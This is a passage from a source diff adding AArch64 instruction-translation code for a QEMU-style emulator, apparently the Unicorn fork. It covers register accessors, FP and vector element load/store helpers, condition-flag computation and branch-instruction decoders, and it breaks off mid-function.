Returns a TCGv_i64 + * representing the register contents. This TCGv is an auto-freed + * temporary so it need not be explicitly freed, and may be modified. + */ +static TCGv_i64 read_cpu_reg(DisasContext *s, int reg, int sf) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 v = new_tmp_a64(s); + if (reg != 31) { + if (sf) { + tcg_gen_mov_i64(tcg_ctx, v, tcg_ctx->cpu_X[reg]); + } else { + tcg_gen_ext32u_i64(tcg_ctx, v, tcg_ctx->cpu_X[reg]); + } + } else { + tcg_gen_movi_i64(tcg_ctx, v, 0); + } + return v; +} + +static TCGv_i64 read_cpu_reg_sp(DisasContext *s, int reg, int sf) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 v = new_tmp_a64(s); + if (sf) { + tcg_gen_mov_i64(tcg_ctx, v, tcg_ctx->cpu_X[reg]); + } else { + tcg_gen_ext32u_i64(tcg_ctx, v, tcg_ctx->cpu_X[reg]); + } + return v; +} + +/* We should have at some point before trying to access an FP register + * done the necessary access check, so assert that + * (a) we did the check and + * (b) we didn't then just plough ahead anyway if it failed. + * Print the instruction pattern in the abort message so we can figure + * out what we need to fix if a user encounters this problem in the wild. + */ +static inline void assert_fp_access_checked(DisasContext *s) +{ +#ifdef CONFIG_DEBUG_TCG + if (unlikely(!s->fp_access_checked || !s->cpacr_fpen)) { + fprintf(stderr, "target-arm: FP access check missing for " + "instruction 0x%08x\n", s->insn); + abort(); + } +#endif +} + +/* Return the offset into CPUARMState of an element of specified + * size, 'element' places in from the least significant end of + * the FP/vector register Qn. + */ +static inline int vec_reg_offset(DisasContext *s, int regno, + int element, TCGMemOp size) +{ + int offs = offsetof(CPUARMState, vfp.regs[regno * 2]); +#ifdef HOST_WORDS_BIGENDIAN + /* This is complicated slightly because vfp.regs[2n] is + * still the low half and vfp.regs[2n+1] the high half + * of the 128 bit vector, even on big endian systems. + * Calculate the offset assuming a fully bigendian 128 bits, + * then XOR to account for the order of the two 64 bit halves. + */ + offs += (16 - ((element + 1) * (1 << size))); + offs ^= 8; +#else + offs += element * (1 << size); +#endif + assert_fp_access_checked(s); + return offs; +} + +/* Return the offset into CPUARMState of a slice (from + * the least significant end) of FP register Qn (ie + * Dn, Sn, Hn or Bn). + * (Note that this is not the same mapping as for A32; see cpu.h) + */ +static inline int fp_reg_offset(DisasContext *s, int regno, TCGMemOp size) +{ + int offs = offsetof(CPUARMState, vfp.regs[regno * 2]); +#ifdef HOST_WORDS_BIGENDIAN + offs += (8 - (1 << size)); +#endif + assert_fp_access_checked(s); + return offs; +} + +/* Offset of the high half of the 128 bit vector Qn */ +static inline int fp_reg_hi_offset(DisasContext *s, int regno) +{ + assert_fp_access_checked(s); + return offsetof(CPUARMState, vfp.regs[regno * 2 + 1]); +} + +/* Convenience accessors for reading and writing single and double + * FP registers. Writing clears the upper parts of the associated + * 128 bit vector register, as required by the architecture. + * Note that unlike the GP register accessors, the values returned + * by the read functions must be manually freed. + */ +static TCGv_i64 read_fp_dreg(DisasContext *s, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 v = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_ld_i64(tcg_ctx, v, tcg_ctx->cpu_env, fp_reg_offset(s, reg, MO_64)); + return v; +} + +static TCGv_i32 read_fp_sreg(DisasContext *s, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 v = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_ld_i32(tcg_ctx, v, tcg_ctx->cpu_env, fp_reg_offset(s, reg, MO_32)); + return v; +} + +static void write_fp_dreg(DisasContext *s, int reg, TCGv_i64 v) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tcg_zero = tcg_const_i64(tcg_ctx, 0); + + tcg_gen_st_i64(tcg_ctx, v, tcg_ctx->cpu_env, fp_reg_offset(s, reg, MO_64)); + tcg_gen_st_i64(tcg_ctx, tcg_zero, tcg_ctx->cpu_env, fp_reg_hi_offset(s, reg)); + tcg_temp_free_i64(tcg_ctx, tcg_zero); +} + +static void write_fp_sreg(DisasContext *s, int reg, TCGv_i32 v) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tmp = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_extu_i32_i64(tcg_ctx, tmp, v); + write_fp_dreg(s, reg, tmp); + tcg_temp_free_i64(tcg_ctx, tmp); +} + +static TCGv_ptr get_fpstatus_ptr(TCGContext *tcg_ctx) +{ + TCGv_ptr statusptr = tcg_temp_new_ptr(tcg_ctx); + int offset; + + /* In A64 all instructions (both FP and Neon) use the FPCR; + * there is no equivalent of the A32 Neon "standard FPSCR value" + * and all operations use vfp.fp_status. + */ + offset = offsetof(CPUARMState, vfp.fp_status); + tcg_gen_addi_ptr(tcg_ctx, statusptr, tcg_ctx->cpu_env, offset); + return statusptr; +} + +/* Set ZF and NF based on a 64 bit result. This is alas fiddlier + * than the 32 bit equivalent. + */ +static inline void gen_set_NZ64(TCGContext *tcg_ctx, TCGv_i64 result) +{ + TCGv_i64 flag = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_setcondi_i64(tcg_ctx, TCG_COND_NE, flag, result, 0); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_ctx->cpu_ZF, flag); + tcg_gen_shri_i64(tcg_ctx, flag, result, 32); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_ctx->cpu_NF, flag); + tcg_temp_free_i64(tcg_ctx, flag); +} + +/* Set NZCV as for a logical operation: NZ as per result, CV cleared. */ +static inline void gen_logic_CC(TCGContext *tcg_ctx, int sf, TCGv_i64 result) +{ + if (sf) { + gen_set_NZ64(tcg_ctx, result); + } else { + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_ctx->cpu_ZF, result); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_ctx->cpu_NF, result); + } + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_CF, 0); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_VF, 0); +} + +/* dest = T0 + T1; compute C, N, V and Z flags */ +static void gen_add_CC(DisasContext *s, int sf, TCGv_i64 dest, TCGv_i64 t0, TCGv_i64 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (sf) { + TCGv_i64 result, flag, tmp; + result = tcg_temp_new_i64(tcg_ctx); + flag = tcg_temp_new_i64(tcg_ctx); + tmp = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_movi_i64(tcg_ctx, tmp, 0); + tcg_gen_add2_i64(tcg_ctx, result, flag, t0, tmp, t1, tmp); + + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_ctx->cpu_CF, flag); + + gen_set_NZ64(tcg_ctx, result); + + tcg_gen_xor_i64(tcg_ctx, flag, result, t0); + tcg_gen_xor_i64(tcg_ctx, tmp, t0, t1); + tcg_gen_andc_i64(tcg_ctx, flag, flag, tmp); + tcg_temp_free_i64(tcg_ctx, tmp); + tcg_gen_shri_i64(tcg_ctx, flag, flag, 32); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_ctx->cpu_VF, flag); + + tcg_gen_mov_i64(tcg_ctx, dest, result); + tcg_temp_free_i64(tcg_ctx, result); + tcg_temp_free_i64(tcg_ctx, flag); + } else { + /* 32 bit arithmetic */ + TCGv_i32 t0_32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 t1_32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_movi_i32(tcg_ctx, tmp, 0); + tcg_gen_trunc_i64_i32(tcg_ctx, t0_32, t0); + tcg_gen_trunc_i64_i32(tcg_ctx, t1_32, t1); + tcg_gen_add2_i32(tcg_ctx, tcg_ctx->cpu_NF, tcg_ctx->cpu_CF, t0_32, tmp, t1_32, tmp); + tcg_gen_mov_i32(tcg_ctx, tcg_ctx->cpu_ZF, tcg_ctx->cpu_NF); + tcg_gen_xor_i32(tcg_ctx, tcg_ctx->cpu_VF, tcg_ctx->cpu_NF, t0_32); + tcg_gen_xor_i32(tcg_ctx, tmp, t0_32, t1_32); + tcg_gen_andc_i32(tcg_ctx, tcg_ctx->cpu_VF, tcg_ctx->cpu_VF, tmp); + tcg_gen_extu_i32_i64(tcg_ctx, dest, tcg_ctx->cpu_NF); + + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, t0_32); + tcg_temp_free_i32(tcg_ctx, t1_32); + } +} + +/* dest = T0 - T1; compute C, N, V and Z flags */ +static void gen_sub_CC(DisasContext *s, int sf, TCGv_i64 dest, TCGv_i64 t0, TCGv_i64 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (sf) { + /* 64 bit arithmetic */ + TCGv_i64 result, flag, tmp; + + result = tcg_temp_new_i64(tcg_ctx); + flag = tcg_temp_new_i64(tcg_ctx); + tcg_gen_sub_i64(tcg_ctx, result, t0, t1); + + gen_set_NZ64(tcg_ctx, result); + + tcg_gen_setcond_i64(tcg_ctx, TCG_COND_GEU, flag, t0, t1); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_ctx->cpu_CF, flag); + + tcg_gen_xor_i64(tcg_ctx, flag, result, t0); + tmp = tcg_temp_new_i64(tcg_ctx); + tcg_gen_xor_i64(tcg_ctx, tmp, t0, t1); + tcg_gen_and_i64(tcg_ctx, flag, flag, tmp); + tcg_temp_free_i64(tcg_ctx, tmp); + tcg_gen_shri_i64(tcg_ctx, flag, flag, 32); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_ctx->cpu_VF, flag); + tcg_gen_mov_i64(tcg_ctx, dest, result); + tcg_temp_free_i64(tcg_ctx, flag); + tcg_temp_free_i64(tcg_ctx, result); + } else { + /* 32 bit arithmetic */ + TCGv_i32 t0_32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 t1_32 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tmp; + + tcg_gen_trunc_i64_i32(tcg_ctx, t0_32, t0); + tcg_gen_trunc_i64_i32(tcg_ctx, t1_32, t1); + tcg_gen_sub_i32(tcg_ctx, tcg_ctx->cpu_NF, t0_32, t1_32); + tcg_gen_mov_i32(tcg_ctx, tcg_ctx->cpu_ZF, tcg_ctx->cpu_NF); + tcg_gen_setcond_i32(tcg_ctx, TCG_COND_GEU, tcg_ctx->cpu_CF, t0_32, t1_32); + tcg_gen_xor_i32(tcg_ctx, tcg_ctx->cpu_VF, tcg_ctx->cpu_NF, t0_32); + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_xor_i32(tcg_ctx, tmp, t0_32, t1_32); + tcg_temp_free_i32(tcg_ctx, t0_32); + tcg_temp_free_i32(tcg_ctx, t1_32); + tcg_gen_and_i32(tcg_ctx, tcg_ctx->cpu_VF, tcg_ctx->cpu_VF, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_gen_extu_i32_i64(tcg_ctx, dest, tcg_ctx->cpu_NF); + } +} + +/* dest = T0 + T1 + CF; do not compute flags. */ +static void gen_adc(DisasContext *s, int sf, TCGv_i64 dest, TCGv_i64 t0, TCGv_i64 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 flag = tcg_temp_new_i64(tcg_ctx); + tcg_gen_extu_i32_i64(tcg_ctx, flag, tcg_ctx->cpu_CF); + tcg_gen_add_i64(tcg_ctx, dest, t0, t1); + tcg_gen_add_i64(tcg_ctx, dest, dest, flag); + tcg_temp_free_i64(tcg_ctx, flag); + + if (!sf) { + tcg_gen_ext32u_i64(tcg_ctx, dest, dest); + } +} + +/* dest = T0 + T1 + CF; compute C, N, V and Z flags. */ +static void gen_adc_CC(DisasContext *s, int sf, TCGv_i64 dest, TCGv_i64 t0, TCGv_i64 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (sf) { + TCGv_i64 result, cf_64, vf_64, tmp; + result = tcg_temp_new_i64(tcg_ctx); + cf_64 = tcg_temp_new_i64(tcg_ctx); + vf_64 = tcg_temp_new_i64(tcg_ctx); + tmp = tcg_const_i64(tcg_ctx, 0); + + tcg_gen_extu_i32_i64(tcg_ctx, cf_64, tcg_ctx->cpu_CF); + tcg_gen_add2_i64(tcg_ctx, result, cf_64, t0, tmp, cf_64, tmp); + tcg_gen_add2_i64(tcg_ctx, result, cf_64, result, cf_64, t1, tmp); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_ctx->cpu_CF, cf_64); + gen_set_NZ64(tcg_ctx, result); + + tcg_gen_xor_i64(tcg_ctx, vf_64, result, t0); + tcg_gen_xor_i64(tcg_ctx, tmp, t0, t1); + tcg_gen_andc_i64(tcg_ctx, vf_64, vf_64, tmp); + tcg_gen_shri_i64(tcg_ctx, vf_64, vf_64, 32); + tcg_gen_trunc_i64_i32(tcg_ctx, tcg_ctx->cpu_VF, vf_64); + + tcg_gen_mov_i64(tcg_ctx, dest, result); + + tcg_temp_free_i64(tcg_ctx, tmp); + tcg_temp_free_i64(tcg_ctx, vf_64); + tcg_temp_free_i64(tcg_ctx, cf_64); + tcg_temp_free_i64(tcg_ctx, result); + } else { + TCGv_i32 t0_32, t1_32, tmp; + t0_32 = tcg_temp_new_i32(tcg_ctx); + t1_32 = tcg_temp_new_i32(tcg_ctx); + tmp = tcg_const_i32(tcg_ctx, 0); + + tcg_gen_trunc_i64_i32(tcg_ctx, t0_32, t0); + tcg_gen_trunc_i64_i32(tcg_ctx, t1_32, t1); + tcg_gen_add2_i32(tcg_ctx, tcg_ctx->cpu_NF, tcg_ctx->cpu_CF, t0_32, tmp, tcg_ctx->cpu_CF, tmp); + tcg_gen_add2_i32(tcg_ctx, tcg_ctx->cpu_NF, tcg_ctx->cpu_CF, tcg_ctx->cpu_NF, tcg_ctx->cpu_CF, t1_32, tmp); + + tcg_gen_mov_i32(tcg_ctx, tcg_ctx->cpu_ZF, tcg_ctx->cpu_NF); + tcg_gen_xor_i32(tcg_ctx, tcg_ctx->cpu_VF, tcg_ctx->cpu_NF, t0_32); + tcg_gen_xor_i32(tcg_ctx, tmp, t0_32, t1_32); + tcg_gen_andc_i32(tcg_ctx, tcg_ctx->cpu_VF, tcg_ctx->cpu_VF, tmp); + tcg_gen_extu_i32_i64(tcg_ctx, dest, tcg_ctx->cpu_NF); + + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, t1_32); + tcg_temp_free_i32(tcg_ctx, t0_32); + } +} + +/* + * Load/Store generators + */ + +/* + * Store from GPR register to memory. + */ +static void do_gpr_st_memidx(DisasContext *s, TCGv_i64 source, + TCGv_i64 tcg_addr, int size, int memidx) +{ + g_assert(size <= 3); + tcg_gen_qemu_st_i64(s->uc, source, tcg_addr, memidx, MO_TE + size); +} + +static void do_gpr_st(DisasContext *s, TCGv_i64 source, + TCGv_i64 tcg_addr, int size) +{ + do_gpr_st_memidx(s, source, tcg_addr, size, get_mem_index(s)); +} + +/* + * Load from memory to GPR register + */ +static void do_gpr_ld_memidx(DisasContext *s, TCGv_i64 dest, TCGv_i64 tcg_addr, + int size, bool is_signed, bool extend, int memidx) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGMemOp memop = MO_TE + size; + + g_assert(size <= 3); + + if (is_signed) { + memop += MO_SIGN; + } + + tcg_gen_qemu_ld_i64(s->uc, dest, tcg_addr, memidx, memop); + + if (extend && is_signed) { + g_assert(size < 3); + tcg_gen_ext32u_i64(tcg_ctx, dest, dest); + } +} + +static void do_gpr_ld(DisasContext *s, TCGv_i64 dest, TCGv_i64 tcg_addr, + int size, bool is_signed, bool extend) +{ + do_gpr_ld_memidx(s, dest, tcg_addr, size, is_signed, extend, + get_mem_index(s)); +} + +/* + * Store from FP register to memory + */ +static void do_fp_st(DisasContext *s, int srcidx, TCGv_i64 tcg_addr, int size) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* This writes the bottom N bits of a 128 bit wide vector to memory */ + TCGv_i64 tmp = tcg_temp_new_i64(tcg_ctx); + tcg_gen_ld_i64(tcg_ctx, tmp, tcg_ctx->cpu_env, fp_reg_offset(s, srcidx, MO_64)); + if (size < 4) { + tcg_gen_qemu_st_i64(s->uc, tmp, tcg_addr, get_mem_index(s), MO_TE + size); + } else { + TCGv_i64 tcg_hiaddr = tcg_temp_new_i64(tcg_ctx); + tcg_gen_qemu_st_i64(s->uc, tmp, tcg_addr, get_mem_index(s), MO_TEQ); + tcg_gen_ld_i64(tcg_ctx, tmp, tcg_ctx->cpu_env, fp_reg_hi_offset(s, srcidx)); + tcg_gen_addi_i64(tcg_ctx, tcg_hiaddr, tcg_addr, 8); + tcg_gen_qemu_st_i64(s->uc, tmp, tcg_hiaddr, get_mem_index(s), MO_TEQ); + tcg_temp_free_i64(tcg_ctx, tcg_hiaddr); + } + + tcg_temp_free_i64(tcg_ctx, tmp); +} + +/* + * Load from memory to FP register + */ +static void do_fp_ld(DisasContext *s, int destidx, TCGv_i64 tcg_addr, int size) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* This always zero-extends and writes to a full 128 bit wide vector */ + TCGv_i64 tmplo = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 tmphi; + + if (size < 4) { + TCGMemOp memop = MO_TE + size; + tmphi = tcg_const_i64(tcg_ctx, 0); + tcg_gen_qemu_ld_i64(s->uc, tmplo, tcg_addr, get_mem_index(s), memop); + } else { + TCGv_i64 tcg_hiaddr; + tmphi = tcg_temp_new_i64(tcg_ctx); + tcg_hiaddr = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_qemu_ld_i64(s->uc, tmplo, tcg_addr, get_mem_index(s), MO_TEQ); + tcg_gen_addi_i64(tcg_ctx, tcg_hiaddr, tcg_addr, 8); + tcg_gen_qemu_ld_i64(s->uc, tmphi, tcg_hiaddr, get_mem_index(s), MO_TEQ); + tcg_temp_free_i64(tcg_ctx, tcg_hiaddr); + } + + tcg_gen_st_i64(tcg_ctx, tmplo, tcg_ctx->cpu_env, fp_reg_offset(s, destidx, MO_64)); + tcg_gen_st_i64(tcg_ctx, tmphi, tcg_ctx->cpu_env, fp_reg_hi_offset(s, destidx)); + + tcg_temp_free_i64(tcg_ctx, tmplo); + tcg_temp_free_i64(tcg_ctx, tmphi); +} + +/* + * Vector load/store helpers. + * + * The principal difference between this and a FP load is that we don't + * zero extend as we are filling a partial chunk of the vector register. + * These functions don't support 128 bit loads/stores, which would be + * normal load/store operations. + * + * The _i32 versions are useful when operating on 32 bit quantities + * (eg for floating point single or using Neon helper functions). + */ + +/* Get value of an element within a vector register */ +static void read_vec_element(DisasContext *s, TCGv_i64 tcg_dest, int srcidx, + int element, TCGMemOp memop) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int vect_off = vec_reg_offset(s, srcidx, element, memop & MO_SIZE); + switch (memop) { + case MO_8: + tcg_gen_ld8u_i64(tcg_ctx, tcg_dest, tcg_ctx->cpu_env, vect_off); + break; + case MO_16: + tcg_gen_ld16u_i64(tcg_ctx, tcg_dest, tcg_ctx->cpu_env, vect_off); + break; + case MO_32: + tcg_gen_ld32u_i64(tcg_ctx, tcg_dest, tcg_ctx->cpu_env, vect_off); + break; + case MO_8|MO_SIGN: + tcg_gen_ld8s_i64(tcg_ctx, tcg_dest, tcg_ctx->cpu_env, vect_off); + break; + case MO_16|MO_SIGN: + tcg_gen_ld16s_i64(tcg_ctx, tcg_dest, tcg_ctx->cpu_env, vect_off); + break; + case MO_32|MO_SIGN: + tcg_gen_ld32s_i64(tcg_ctx, tcg_dest, tcg_ctx->cpu_env, vect_off); + break; + case MO_64: + case MO_64|MO_SIGN: + tcg_gen_ld_i64(tcg_ctx, tcg_dest, tcg_ctx->cpu_env, vect_off); + break; + default: + g_assert_not_reached(); + } +} + +static void read_vec_element_i32(DisasContext *s, TCGv_i32 tcg_dest, int srcidx, + int element, TCGMemOp memop) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int vect_off = vec_reg_offset(s, srcidx, element, memop & MO_SIZE); + switch (memop) { + case MO_8: + tcg_gen_ld8u_i32(tcg_ctx, tcg_dest, tcg_ctx->cpu_env, vect_off); + break; + case MO_16: + tcg_gen_ld16u_i32(tcg_ctx, tcg_dest, tcg_ctx->cpu_env, vect_off); + break; + case MO_8|MO_SIGN: + tcg_gen_ld8s_i32(tcg_ctx, tcg_dest, tcg_ctx->cpu_env, vect_off); + break; + case MO_16|MO_SIGN: + tcg_gen_ld16s_i32(tcg_ctx, tcg_dest, tcg_ctx->cpu_env, vect_off); + break; + case MO_32: + case MO_32|MO_SIGN: + tcg_gen_ld_i32(tcg_ctx, tcg_dest, tcg_ctx->cpu_env, vect_off); + break; + default: + g_assert_not_reached(); + } +} + +/* Set value of an element within a vector register */ +static void write_vec_element(DisasContext *s, TCGv_i64 tcg_src, int destidx, + int element, TCGMemOp memop) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int vect_off = vec_reg_offset(s, destidx, element, memop & MO_SIZE); + CPUState *cs; + switch (memop) { + case MO_8: + tcg_gen_st8_i64(tcg_ctx, tcg_src, tcg_ctx->cpu_env, vect_off); + break; + case MO_16: + tcg_gen_st16_i64(tcg_ctx, tcg_src, tcg_ctx->cpu_env, vect_off); + break; + case MO_32: + tcg_gen_st32_i64(tcg_ctx, tcg_src, tcg_ctx->cpu_env, vect_off); + break; + case MO_64: + tcg_gen_st_i64(tcg_ctx, tcg_src, tcg_ctx->cpu_env, vect_off); + break; + default: + cs = CPU(s->uc->cpu); + cs->exception_index = EXCP_UDEF; + cpu_loop_exit(cs); + break; + } +} + +static void write_vec_element_i32(DisasContext *s, TCGv_i32 tcg_src, + int destidx, int element, TCGMemOp memop) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int vect_off = vec_reg_offset(s, destidx, element, memop & MO_SIZE); + switch (memop) { + case MO_8: + tcg_gen_st8_i32(tcg_ctx, tcg_src, tcg_ctx->cpu_env, vect_off); + break; + case MO_16: + tcg_gen_st16_i32(tcg_ctx, tcg_src, tcg_ctx->cpu_env, vect_off); + break; + case MO_32: + tcg_gen_st_i32(tcg_ctx, tcg_src, tcg_ctx->cpu_env, vect_off); + break; + default: + g_assert_not_reached(); + } +} + +/* Clear the high 64 bits of a 128 bit vector (in general non-quad + * vector ops all need to do this). + */ +static void clear_vec_high(DisasContext *s, int rd) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tcg_zero = tcg_const_i64(tcg_ctx, 0); + + write_vec_element(s, tcg_zero, rd, 1, MO_64); + tcg_temp_free_i64(tcg_ctx, tcg_zero); +} + +/* Store from vector register to memory */ +static void do_vec_st(DisasContext *s, int srcidx, int element, + TCGv_i64 tcg_addr, int size) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGMemOp memop = MO_TE + size; + TCGv_i64 tcg_tmp = tcg_temp_new_i64(tcg_ctx); + + read_vec_element(s, tcg_tmp, srcidx, element, size); + tcg_gen_qemu_st_i64(s->uc, tcg_tmp, tcg_addr, get_mem_index(s), memop); + + tcg_temp_free_i64(tcg_ctx, tcg_tmp); +} + +/* Load from memory to vector register */ +static void do_vec_ld(DisasContext *s, int destidx, int element, + TCGv_i64 tcg_addr, int size) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGMemOp memop = MO_TE + size; + TCGv_i64 tcg_tmp = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_qemu_ld_i64(s->uc, tcg_tmp, tcg_addr, get_mem_index(s), memop); + write_vec_element(s, tcg_tmp, destidx, element, size); + + tcg_temp_free_i64(tcg_ctx, tcg_tmp); +} + +/* Check that FP/Neon access is enabled. If it is, return + * true. If not, emit code to generate an appropriate exception, + * and return false; the caller should not emit any code for + * the instruction. Note that this check must happen after all + * unallocated-encoding checks (otherwise the syndrome information + * for the resulting exception will be incorrect). + */ +static inline bool fp_access_check(DisasContext *s) +{ + assert(!s->fp_access_checked); + s->fp_access_checked = true; + + if (s->cpacr_fpen) { + return true; + } + + gen_exception_insn(s, 4, EXCP_UDEF, syn_fp_access_trap(1, 0xe, false)); + return false; +} + +/* + * This utility function is for doing register extension with an + * optional shift. You will likely want to pass a temporary for the + * destination register. See DecodeRegExtend() in the ARM ARM. + */ +static void ext_and_shift_reg(TCGContext *tcg_ctx, TCGv_i64 tcg_out, TCGv_i64 tcg_in, + int option, unsigned int shift) +{ + int extsize = extract32(option, 0, 2); + bool is_signed = extract32(option, 2, 1); + + if (is_signed) { + switch (extsize) { + case 0: + tcg_gen_ext8s_i64(tcg_ctx, tcg_out, tcg_in); + break; + case 1: + tcg_gen_ext16s_i64(tcg_ctx, tcg_out, tcg_in); + break; + case 2: + tcg_gen_ext32s_i64(tcg_ctx, tcg_out, tcg_in); + break; + case 3: + tcg_gen_mov_i64(tcg_ctx, tcg_out, tcg_in); + break; + } + } else { + switch (extsize) { + case 0: + tcg_gen_ext8u_i64(tcg_ctx, tcg_out, tcg_in); + break; + case 1: + tcg_gen_ext16u_i64(tcg_ctx, tcg_out, tcg_in); + break; + case 2: + tcg_gen_ext32u_i64(tcg_ctx, tcg_out, tcg_in); + break; + case 3: + tcg_gen_mov_i64(tcg_ctx, tcg_out, tcg_in); + break; + } + } + + if (shift) { + tcg_gen_shli_i64(tcg_ctx, tcg_out, tcg_out, shift); + } +} + +static inline void gen_check_sp_alignment(DisasContext *s) +{ + /* The AArch64 architecture mandates that (if enabled via PSTATE + * or SCTLR bits) there is a check that SP is 16-aligned on every + * SP-relative load or store (with an exception generated if it is not). + * In line with general QEMU practice regarding misaligned accesses, + * we omit these checks for the sake of guest program performance. + * This function is provided as a hook so we can more easily add these + * checks in future (possibly as a "favour catching guest program bugs + * over speed" user selectable option). + */ +} + +/* + * This provides a simple table based table lookup decoder. It is + * intended to be used when the relevant bits for decode are too + * awkwardly placed and switch/if based logic would be confusing and + * deeply nested. Since it's a linear search through the table, tables + * should be kept small. + * + * It returns the first handler where insn & mask == pattern, or + * NULL if there is no match. + * The table is terminated by an empty mask (i.e. 0) + */ +static inline AArch64DecodeFn *lookup_disas_fn(const AArch64DecodeTable *table, + uint32_t insn) +{ + const AArch64DecodeTable *tptr = table; + + while (tptr->mask) { + if ((insn & tptr->mask) == tptr->pattern) { + return tptr->disas_fn; + } + tptr++; + } + return NULL; +} + +/* + * the instruction disassembly implemented here matches + * the instruction encoding classifications in chapter 3 (C3) + * of the ARM Architecture Reference Manual (DDI0487A_a) + */ + +/* C3.2.7 Unconditional branch (immediate) + * 31 30 26 25 0 + * +----+-----------+-------------------------------------+ + * | op | 0 0 1 0 1 | imm26 | + * +----+-----------+-------------------------------------+ + */ +static void disas_uncond_b_imm(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint64_t addr = s->pc + sextract32(insn, 0, 26) * 4 - 4; + + if (insn & (1U << 31)) { + /* C5.6.26 BL Branch with link */ + tcg_gen_movi_i64(tcg_ctx, cpu_reg(s, 30), s->pc); + } + + /* C5.6.20 B Branch / C5.6.26 BL Branch with link */ + gen_goto_tb(s, 0, addr); +} + +/* C3.2.1 Compare & branch (immediate) + * 31 30 25 24 23 5 4 0 + * +----+-------------+----+---------------------+--------+ + * | sf | 0 1 1 0 1 0 | op | imm19 | Rt | + * +----+-------------+----+---------------------+--------+ + */ +static void disas_comp_b_imm(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + unsigned int sf, op, rt; + uint64_t addr; + int label_match; + TCGv_i64 tcg_cmp; + + sf = extract32(insn, 31, 1); + op = extract32(insn, 24, 1); /* 0: CBZ; 1: CBNZ */ + rt = extract32(insn, 0, 5); + addr = s->pc + sextract32(insn, 5, 19) * 4 - 4; + + tcg_cmp = read_cpu_reg(s, rt, sf); + label_match = gen_new_label(tcg_ctx); + + tcg_gen_brcondi_i64(tcg_ctx, op ? TCG_COND_NE : TCG_COND_EQ, + tcg_cmp, 0, label_match); + + gen_goto_tb(s, 0, s->pc); + gen_set_label(tcg_ctx, label_match); + gen_goto_tb(s, 1, addr); +} + +/* C3.2.5 Test & branch (immediate) + * 31 30 25 24 23 19 18 5 4 0 + * +----+-------------+----+-------+-------------+------+ + * | b5 | 0 1 1 0 1 1 | op | b40 | imm14 | Rt | + * +----+-------------+----+-------+-------------+------+ + */ +static void disas_test_b_imm(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + unsigned int bit_pos, op, rt; + uint64_t addr; + int label_match; + TCGv_i64 tcg_cmp; + + bit_pos = (extract32(insn, 31, 1) << 5) | extract32(insn, 19, 5); + op = extract32(insn, 24, 1); /* 0: TBZ; 1: TBNZ */ + addr = s->pc + sextract32(insn, 5, 14) * 4 - 4; + rt = extract32(insn, 0, 5); + + tcg_cmp = tcg_temp_new_i64(tcg_ctx); + tcg_gen_andi_i64(tcg_ctx, tcg_cmp, cpu_reg(s, rt), (1ULL << bit_pos)); + label_match = gen_new_label(tcg_ctx); + tcg_gen_brcondi_i64(tcg_ctx, op ? TCG_COND_NE : TCG_COND_EQ, + tcg_cmp, 0, label_match); + tcg_temp_free_i64(tcg_ctx, tcg_cmp); + gen_goto_tb(s, 0, s->pc); + gen_set_label(tcg_ctx, label_match); + gen_goto_tb(s, 1, addr); +} + +/* C3.2.2 / C5.6.19 Conditional branch (immediate) + * 31 25 24 23 5 4 3 0 + * +---------------+----+---------------------+----+------+ + * | 0 1 0 1 0 1 0 | o1 | imm19 | o0 | cond | + * +---------------+----+---------------------+----+------+ + */ +static void disas_cond_b_imm(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = 